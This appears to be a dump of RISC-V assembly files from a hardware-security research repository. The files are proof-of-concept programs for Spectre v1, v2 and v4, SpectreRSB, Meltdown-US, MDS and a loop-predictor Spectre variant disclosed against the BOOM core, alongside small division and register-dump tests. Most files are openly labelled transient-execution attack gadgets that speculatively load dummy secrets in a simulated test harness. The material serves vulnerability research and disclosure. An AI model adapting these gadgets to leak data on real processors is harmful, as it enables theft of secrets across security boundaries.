repo_id stringlengths 5 115 | size int64 590 5.01M | file_path stringlengths 4 212 | content stringlengths 590 5.01M |
|---|---|---|---|
comsec-group/milesan-meta | 710 | pocs/milesan/src/milesan/divct.S | #include "memcfg.h"
#include "data.h"
.text
li s0, REGDUMP_ADDR
li a2, UDATA
ld a1, 0(a2)
ld a0, 8(a2)
div ra, a1, a0
# li a1, 0xff
# rem t0, a1, a1
# # beq a1, t0, END
# div t1, a1, ra
# fence
# sd ra, 0(s0)
# fence
# sd t0, 0(s0)
# fence
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lui t1, 0x0
sd t1, 0(s0)
fence
END:
li s0, STOPSIG_ADDR
fence
sd a0, 0(s0)
fence |
comsec-group/milesan-meta | 236 | pocs/milesan/src/milesan/divfff.S | #include "memcfg.h"
.text
li a2, 0
slli a0, a2, 0
div a0, a0, a2
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd a0, 0(a1)
fence
li a0, STOPSIG_ADDR
fence
sd a0, 0(a0)
fence |
comsec-group/milesan-meta | 711 | pocs/milesan/src/milesan/mulh.S | #include "memcfg.h"
#include "data.h"
.text
li s0, REGDUMP_ADDR
li a2, UDATA
ld a1, 0(a2)
ld a0, 8(a2)
mulh ra, a1, a0
# li a1, 0xff
# rem t0, a1, a1
# # beq a1, t0, END
# div t1, a1, ra
# fence
# sd ra, 0(s0)
# fence
# sd t0, 0(s0)
# fence
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lui t1, 0x0
sd t1, 0(s0)
fence
END:
li s0, STOPSIG_ADDR
fence
sd a0, 0(s0)
fence |
comsec-group/milesan-meta | 423 | pocs/milesan/src/milesan/div0.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li a0, 123
li a2, 123
div a0, a2, a0
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd a0, 0(a1)
fence
li a0, STOPSIG_ADDR
fence
sd a0, 0(a0)
fence |
comsec-group/milesan-meta | 1,213 | pocs/milesan/src/milesan/testdump.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd x0, 0(a1)
fence
sd ra, 0(a1)
fence
sd sp, 0(a1)
fence
sd gp, 0(a1)
fence
sd tp, 0(a1)
fence
sd t0, 0(a1)
fence
sd t1, 0(a1)
fence
sd t2, 0(a1)
fence
sd s0, 0(a1)
fence
sd s1, 0(a1)
fence
sd a0, 0(a1)
fence
sd a1, 0(a1)
fence
sd a2, 0(a1)
fence
sd a3, 0(a1)
fence
sd a4, 0(a1)
fence
sd a5, 0(a1)
fence
sd a6, 0(a1)
fence
sd a7, 0(a1)
fence
sd s2, 0(a1)
fence
sd s3, 0(a1)
fence
sd s4, 0(a1)
fence
sd s5, 0(a1)
fence
sd s6, 0(a1)
fence
sd s7, 0(a1)
fence
sd s8, 0(a1)
fence
sd s9, 0(a1)
fence
sd s10, 0(a1)
fence
sd s11, 0(a1)
fence
sd t3, 0(a1)
fence
sd t4, 0(a1)
fence
sd t5, 0(a1)
fence
sd t6, 0(a1)
fence
li a0, STOPSIG_ADDR
fence
sd a0, 0(a0)
fence |
comsec-group/milesan-meta | 1,463 | pocs/milesan/src/tlb/tlbleed.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
.equ NON_POWER_OF_2, 6
.equ N_ITERATIONS, 0x10
#
# Attacker: call the victim with out-of-bounds index.
#
.text
attacker:
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
li t0, SDATA
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
# add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: skip if `a0` is greater than 0x20.
li t2, ARR_SIZE
bge a0, t2, func_end # <-- statically predicted not-taken
# Branch not taken: trigger transient page fault
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
.align 4
func_end:
# Branch taken: just return.
ret
.align 4
flush:
sfence.vma zero, zero
#include "data.h"
|
comsec-group/milesan-meta | 1,650 | pocs/milesan/src/spectre-lp/poc-minimal.S | .text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct prediction (strongly not taken).
# This simulates system noise, so that we are not in a cold predictor state.
lla a0, legit_data
call target
call target
call target
fence
attacker:
# Call the victim, which will enter an infinite loop of mispredictions.
lla a0, spec_data
call victim
# padding:
.rep 64
unimp
.endr
.align 4
victim:
# This makes sure that the ret returns here and is consistently mispredicted.
auipc ra, 0
.align 4
target:
li t1, 1
li t0, 2
# Slow down branch.
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# mul t0, t0, t1
# This branch is _never_ executed architecturally and is not in control
# of the attacker.
.align 4
beqz t0, speculative # <---- MISPREDICTED after 7 times
# This instruction has to be mispredicted 7 consecutive times, so that the loop
# predictor infers a loop.
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative load.
speculative:
ld t4, 0(a0) # <---- Secret load
ld t4, 0(t4) # dependent load
ret
# padding:
.rep 128
unimp
.endr
# ----------- Data.
.section .data , "adw"
legit_data:
.dword 0xffffffffffffffff
spec_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,683 | pocs/milesan/src/spectre-lp/poc-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 2
#define LOOP_CONFIDENCE_THRESHOLD 9
#define N_SLOWDOWN 8
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0, 1
ble t0, t1, init_loop
# Training phase: call the victim once.
# This will:
# 1. set the BIM entry of the controlled branch to a known state (weakly not taken)
# 2. as a side effect, this also executes the uncontrolled branch once,
# making sure we are not in a cold predictor scenario.
# li a0, SET_TO_WEAKLY_NOT_TAKEN
# call victim
# fence
attacker:
lla s0, secret_data
li a0, MISPREDICT
# Force the victim to mispredict, so that the LoopPredictor gets trigged.
# In this PoC for some reason (maybe race condition with the BIM update?)
# the LoopPredictor's confidence is reset after the first 4 mispredictions,
# so we need 4 pre-training calls.
.rep N_DUMMY_RUNS
call victim
.endr
# Now we increase the LoopPredictor's confidence until it takes over.
.rep LOOP_CONFIDENCE_THRESHOLD
call victim
.endr
# Once the LoopPredictor is in charge, it will flip the prediction for
# our victim branch.
call victim
# End simulation.
unimp
# padding:
.rep 32
nop
.endr
.align 4
victim:
# Attacker controls the number of iterations.
mv t2, a0
li t3, 0 # induction variable
loop:
# Make sure there's only one version of the loop in the RoB.
fence
# These values are _not_ attacker-controlled.
li t0, 2
li t1, 1
# i++
addi t3, t3, 1
# Slow down branch (just multiply t0 by 1).
.rep N_SLOWDOWN
mul t0, t0, t1
div t0, t0, t1
.endr
# This branch is _never_ taken architecturally (t0 constant > 0).
# Note that the attacker has no control over t0 (the branch condition).
.align 4
uncontrolled_branch:
beqz t0, speculative_gadget
# This instruction has to be mispredicted 7 consecutive times, so that the
# loop predictor can kick in.
controlled_branch:
blt t3, t2, loop
# padding:
.rep 32
nop
.endr
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative gadget.
.align 4
speculative_gadget:
ld t4, 0(s0) # < ----- this gets executed speculatively, leaking the secret
addi t4, t4, 10 # Just use the secret
ret
helper:
ret
# padding:
.rep 128
unimp
.endr
# ------------- Data.
#.data
secret_data:
.dword 0xcacacafedeadbeef
#.padding
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,608 | pocs/milesan/src/spectre-lp/poc-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
lla s0, legit_data
li a0, 0 # cur_idx
li a1, 0 # recursion depth for func1
li a2, 0 # recursion depth for func2
call func1
fence
.align 4
main:
# Start recursive call chain to saturate RAS.
lla s0, secret_data
li a0, 0 # cur_idx
li a1, N_MISPRED # recursion depth for func1
li a2, N_SATURATION+N_MISPRED # recursion depth for func2
call func1
# End test case.
unimp
# Padding.
.rep 32
unimp
.endr
.align 4
func1:
# Perform N_MISPRED recursive calls to itself, whose returns will be mispredicted.
addi a0, a0, 1
bge a0, a1, call_func2
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func1
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
j after
.align 4
# Perform N_SATURATION recursive calls to anothe function to saturate the RAS
# and poison it with another value.
call_func2:
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Start other recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
after:
# Slow down branch.
li t1, 1
li t0, 2
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# Mispredicted branch.
beqz t0, speculative_gadget
ret
# Padding.
.rep 32
unimp
.endr
.align 4
func2:
# Perform N_SATURATION recursive calls to saturate the RAS.
addi a0, a0, 1
bge a0, a2, ret_to_func1
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
fence
ret
.align 4
ret_to_func1:
fence
ret
# Padding.
.rep 32
unimp
.endr
# ----------- Speculative load.
speculative_gadget:
ld t0, 0(s0)
ret
# Padding.
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 630 | pocs/milesan/src/mds-tests/mds-lfb.S | #include "memcfg.h"
#define N_VICTIM_LOADS 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, UDATA # victim address
li t2, 0xA0009000 # invalid address
li t4, 0x3
sw t0, 0(t1)
fence
victim:
# Victim loads.
.rep N_VICTIM_LOADS
lw t6, 0(t1)
addi t1, t1, 0x100
.endr
attacker:
# Slow down address resolution.
.rep N_MUL
mul t2, t2, t4
div t2, t2, t4
.endr
.rep N_LOADS
# lw t5, 0(t1)
# Load invalid address -> in-flight value should be forwarded.
lw t5, 0(t2)
.endr
unimp
# #include "data.h"
|
comsec-group/milesan-meta | 422 | pocs/milesan/src/mds-tests/mds_init.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define UNTOUCHABLE_ADDR 0x8000C000
.section .text
init_uarch:
li s0, UNTOUCHABLE_ADDR
.rep 16
ld t0, 0(s0)
sd t1, 16(s0)
addi s0, s0, 0x100
.endr
|
comsec-group/milesan-meta | 575 | pocs/milesan/src/mds-tests/mds.S | # Requires MDS initialization (see phantom-trails/BOOM/boom-wrapper/init).
#define INVALID 0xA000110
init:
li t3, INVALID # invalid address (used by attacker)
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0001000
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0001010 <----- Speculatively gets stored data
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000120
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000130
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000140
# End simulation.
unimp
|
comsec-group/milesan-meta | 1,011 | pocs/milesan/src/mds-tests/mds-standalone.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, 0xdeadbeef # secret 1
li t6, 0xcacacafe # secret 2
li t1, 0x80009100 # victim address 1
li t2, 0x80009110 # victim address 2
li t3, 0xA0000100 # invalid address (used by attacker)
li t4, 0x4
fence
victim:
sw t0, 0(t1) # store 0xdeadbeef to address 0x80009100
sw t6, 0(t2) # store 0xcacacafe to address 0x80009110
mul t6, t6, t6 # Padding
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0000100 <----- Speculatively gets 0xdeadbeef
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000110 <----- Speculatively gets 0xcacacafe
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000120
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000130
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000140
# End simulation.
unimp
|
comsec-group/milesan-meta | 597 | pocs/milesan/src/mds-tests/mds-sb.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, 0x80009100 # victim address
li t2, 0xA0009100 # invalid address
li t4, 0x3
fence
victim:
# Store secret.
.rep N_STORES
sw t0, 0(t1)
# addi t1, t1, 0x10
.endr
attacker:
# Slow down address resolution.
.rep N_MUL
mul t2, t2, t4
div t2, t2, t4
.endr
.rep N_LOADS
# lw t5, 0(t1)
# Load invalid address -> in-flight value should be forwarded.
lw t5, 0(t2)
.endr
unimp
#include "data.h"
|
comsec-group/milesan-meta | 1,692 | pocs/milesan/src/pocs/spectrev1_training.S | #------------------------------------------------------------------------------
# Spectrev1 with training.
#
# The victim performs an attacker-dependent load if an attacker-controlled
# branch is _taken_.
# Since static prediction is "not-taken", the attacker needs to train the
# predictor before performing the attack.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ N_TRAINING_ROUNDS, 6
.equ NON_POWER_OF_2, 6
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
#
# Attacker: call the victim function several times with `a0` in-bounds, and
# one time with `a0` out of bounds. As a result, on the last call, the victim
# speculatively loads memory out of bounds (containing 0xdeadbeef).
#
.text
attacker:
li a0, 0
# Training: call the victim with a0 = 0.
.rept N_TRAINING_ROUNDS
.align 4
call victim
.endr
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
.align 4
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
li t0, UDATA
add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: jump if `a0` is less than 0x20.
li t2, ARR_SIZE
ble a0, t2, spec
# Branch not taken: return.
ret
.align 4
spec:
# Branch taken: dereference the address.
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
ret
#include "data.h"
|
comsec-group/milesan-meta | 1,032 | pocs/milesan/src/pocs/spectreRSB.S | #------------------------------------------------------------------------------
# SpectreRSB minimal example.
#
# A function modifies its return address, causing the CPU to mispredict on ret.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
context_1:
li s0, UDATA
addi s1, s0, 0x80
li a0, 8
nop
# Call the victim.
call context_switch
spec_code:
# Speculative: load array[a0]. a0 contains the secret loaded by the victim.
add t0, s1, a0
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
ret
.align 4
context_switch:
# Load secret.
lb a0, 0(s0)
andi a0, a0, 0xff
# Return to context_2.
lla ra, context_2
# Slow down ret.
li t0, 6
mul ra, ra, t0
div ra, ra, t0
mul ra, ra, t0
div ra, ra, t0
ret # <-- mispredicted (spec target: context_1, actual target: context_2).
.align 8
context_2:
# Modify secret.
addi a0, a0, 1
sb a0, 0(s0)
lui a0, 0x1 # clean taint from register
# Illegal Instruction: end test case.
unimp
|
comsec-group/milesan-meta | 1,388 | pocs/milesan/src/pocs/spectrev1.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
.equ NON_POWER_OF_2, 6
#
# Attacker: call the victim with out-of-bounds index.
#
.text
attacker:
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
li t0, UDATA
# add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: skip if `a0` is greater than 0x20.
li t2, ARR_SIZE
bge a0, t2, func_end # <-- statically predicted not-taken
# Branch not taken: dereference the address.
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
.align 4
func_end:
# Branch taken: just return.
ret
#include "data.h"
|
comsec-group/milesan-meta | 444 | pocs/milesan/src/pocs/meltdown-us.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
// access to supervisor mode page, which will raise a fault
li s1, SDATA
lb s1, 0(s1)
// add offset to user base address
add s1, s0, s1
// load from that address in order to
// reveal secret value through side channel
#ifndef DISABLE_DEP_LOAD
ld s2, 0(s1)
#endif
#include "data.h"
|
comsec-group/milesan-meta | 803 | pocs/milesan/src/pocs/spectrev4-stl.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li s0, UDATA
addi s1, s0, 0x80
li t0, 0xdeadbeef
li s2, 0x80009000
ld zero, 0(s0)
fence
attack:
mv t2, s0
# Slow down computation of store address.
li t1, 6
mul t2, t2, t1
div t2, t2, t1
mul t2, t2, t1
div t2, t2, t1
# Zero-out memory in s0.
li t1, 0x0
sd t1, 0(t2)
# Load from s0, reodered before the store.
ld t0, 0(s0)
# Use the secret as index.
andi t0, t0, 0xFF
add t0, t0, s2
# Second load: leaks the secret.
#ifndef DISABLE_DEP_LOAD
ld t1, 0(t0)
#endif
# Illegal instruction: end of test case.
# unimp
# #include "data.h"
|
comsec-group/milesan-meta | 556 | pocs/milesan/src/pocs/spectreRSB-static.S | #include "memcfg.h"
.text
setup:
li s2, UDATA
lla s1, ret_target
taint_load:
ld t0, 0(s2)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
# Change ret target.
mv ra, t1
# Mispredicted ret: empty predictor returns to 0.
ret
unimp
.align 8
ret_target:
ld t0, 0x80(s0)
unimp
#include "data.h"
|
comsec-group/milesan-meta | 418 | pocs/milesan/src/pocs/arch-explosion.S | #include "memcfg.h"
.text
main:
li s0, UDATA
ld s1, 0(s0) # load from tainted address
bnez s1, stop # taint PC
mul a0, t0, a0 # random stuff
div a0, t0,a0
mul a0, t0, a0
div a0, t0,a0
mul a0, t0, a0
div a0, t0,a0
stop:
li a1, REGDUMP_ADDR
sd x0, 0(a1)
fence
li a0, STOPSIG_ADDR
sd a0, 0(a0)
fence
j stop
.align 4
test:
unimp
#include "data.h"
|
comsec-group/milesan-meta | 1,930 | pocs/milesan/src/pocs/spectrev2.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_target`.
# As a result, the victim speculatively jumps to `leak_gadget` instead.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ TRAINING_ROUNDS, 1
.equ LEGIT_FUNC_IDX, 0x0
.equ LEAK_FUNC_IDX, 0x10
.equ OOB_IDX, 0x20
.text
setup:
# Setup the jump table.
li s0, UDATA
addi s1, s0, 0x40
lla t0, legit_target
sd t0, LEGIT_FUNC_IDX(s0)
lla t1, leak_target
sd t1, LEAK_FUNC_IDX(s0)
fence
attacker:
# Training: call leak function with in-bounds index.
.rept TRAINING_ROUNDS
li a0, LEAK_FUNC_IDX
mv a1, s1
call victim
.endr
# Attack: call legit function with out-of-bounds index. The victim
# will speculatively jump to the leak function instead of the legit one.
li a0, LEGIT_FUNC_IDX
mv a1, s1
addi a1, a1, OOB_IDX
call victim
# Illegal instruction: end of the test case.
unimp
# Victim function: use a0 as an index in a jump table and perform an indirect
# call to the corresponding function.
# Args:
# a0 -> index of teh function to call
# a1 -> address to leak
.align 4
victim:
# Save ret address.
mv s2, ra
# Calculate jump target.
add t0, s0, a0
ld t1, 0(t0)
# Slow down jump with mul/div by a non-power-of-two.
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
# Indirect jump.
jalr ra, t1
# Restore ret address.
mv ra, s2
ret
# Legit target: do nothing.
.align 4
legit_target:
ret
# Leak target: access `a1`.
.align 4
leak_target:
lw t0, 0(a1)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0)
#endif
ret
#include "data.h"
|
comsec-group/milesan-meta | 639 | pocs/milesan/src/pocs/spectrev4-single-load.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
setup:
li s0, UDATA
li s1, UDATA
attack:
# Mul s0 by 1.
li t1, 1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
# Store new value in [s0].
sd t1, 0(s0)
# Load from s1, reodered before the store.
ld t0, 0(s1)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0) # dependent load
#endif
# Illegal instruction: end of test case.
# unimp
# #include "data.h"
|
comsec-group/milesan-meta | 5 | pocs/milesan/src/test/test.S | unimp |
comsec-group/milesan-meta | 2,188 | pocs/milesan/src/spectre-lp/boom-disclosure/poc.S | #------------------------------------------------------------------------------
# LoopPredictor Spectre variant.
#
# The victim enters an infinite loop, which is mispredicted at each iteration
# due to the RAS being empty. This causes the branch right before the end
# of the loop to also be mispredicted, even if it was never trained.
# The mispredicted branch will jump to a dummy speculative gadget that
# loads the secret (0xcacacfedeadbeef) into the core's Register File.
#------------------------------------------------------------------------------
.text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct prediction (strongly not taken).
# This simulates system noise, so that we are not in a cold predictor state.
lla a0, legit_data
call target
call target
call target
fence
attacker:
# Call the victim, which will enter an infinite loop of mispredictions.
lla a0, spec_data
call victim
fence
# padding:
.rep 64
unimp
.endr
.align 4
victim:
# This makes sure that the ret returns here and is consistently mispredicted.
auipc ra, 0
.align 4
target:
li t1, 1
li t0, 2
# Slow down branch.
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# mul t0, t0, t1
# This branch is _never_ executed architecturally and is not in control
# of the attacker.
.align 4
beqz t0, speculative # <---- MISPREDICTED after 8 times
# This instruction has to be mispredicted 7 consecutive times, so that the loop
# predictor infers a loop.
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative load.
speculative:
ld t4, 0(a0) # <---- Secret load
ret
# padding:
.rep 128
unimp
.endr
# ----------- Data.
.section .data , "adw"
legit_data:
.dword 0xffffffffffffffff
spec_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,608 | pocs/milesan/src/spectre-lp/boom-disclosure/poc-with-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
lla s0, legit_data
li a0, 0 # cur_idx
li a1, 0 # recursion depth for func1
li a2, 0 # recursion depth for func2
call func1
fence
.align 4
main:
# Start recursive call chain to saturate RAS.
lla s0, secret_data
li a0, 0 # cur_idx
li a1, N_MISPRED # recursion depth for func1
li a2, N_SATURATION+N_MISPRED # recursion depth for func2
call func1
# End test case.
unimp
# Padding.
.rep 32
unimp
.endr
.align 4
func1:
# Perform N_MISPRED recursive calls to itself, whose returns will be mispredicted.
addi a0, a0, 1
bge a0, a1, call_func2
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func1
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
j after
.align 4
# Perform N_SATURATION recursive calls to anothe function to saturate the RAS
# and poison it with another value.
call_func2:
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Start other recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
after:
# Slow down branch.
li t1, 1
li t0, 2
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# Mispredicted branch.
beqz t0, speculative_gadget
ret
# Padding.
.rep 32
unimp
.endr
.align 4
func2:
# Perform N_SATURATION recursive calls to saturate the RAS.
addi a0, a0, 1
bge a0, a2, ret_to_func1
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
fence
ret
.align 4
ret_to_func1:
fence
ret
# Padding.
.rep 32
unimp
.endr
# ----------- Speculative load.
speculative_gadget:
ld t0, 0(s0)
ret
# Padding.
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,635 | pocs/milesan/src/spectre-lp/boom-disclosure/poc-with-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 4
#define LOOP_CONFIDENCE_THRESHOLD 7
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0, 1
ble t0, t1, init_loop
# Training phase: call the victim once.
# This will:
# 1. set the BIM entry of the controlled branch to a known state (weakly not taken)
# 2. as a side effect, this also executes the uncontrolled branch once,
# making sure we are not in a cold predictor scenario.
# li a0, SET_TO_WEAKLY_NOT_TAKEN
# call victim
# fence
attacker:
lla s0, secret_data
li a0, MISPREDICT
# Force the victim to mispredict, so that the LoopPredictor gets trigged.
# In this PoC for some reason (maybe race condition with the BIM update?)
# the LoopPredictor's confidence is reset after the first 4 mispredictions,
# so we need 4 pre-training calls.
.rep N_DUMMY_RUNS
call victim
.endr
# Now we increase the LoopPredictor's confidence until it takes over.
.rep LOOP_CONFIDENCE_THRESHOLD
call victim
.endr
# Once the LoopPredictor is in charge, it will flip the prediction for
# our victim branch.
call victim
# End simulation.
unimp
# padding:
.rep 32
nop
.endr
.align 4
victim:
# Attacker controls the number of iterations.
mv t2, a0
li t3, 0 # induction variable
loop:
# Make sure there's only one version of the loop in the RoB.
fence
# These values are _not_ attacker-controlled.
li t0, 2
li t1, 1
# i++
addi t3, t3, 1
# Slow down branch (just multiply t0 by 1).
.rep 8
mul t0, t0, t1
.endr
# This branch is _never_ taken architecturally (t0 constant > 0).
# Note that the attacker has no control over t0 (the branch condition).
.align 4
uncontrolled_branch:
beqz t0, speculative_gadget
# This instruction has to be mispredicted 7 consecutive times, so that the
# loop predictor can kick in.
controlled_branch:
blt t3, t2, loop
# padding:
.rep 32
nop
.endr
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative gadget.
.align 4
speculative_gadget:
ld t4, 0(s0) # < ----- this gets executed speculatively, leaking the secret
addi t4, t4, 10 # Just use the secret
ret
helper:
ret
# padding:
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
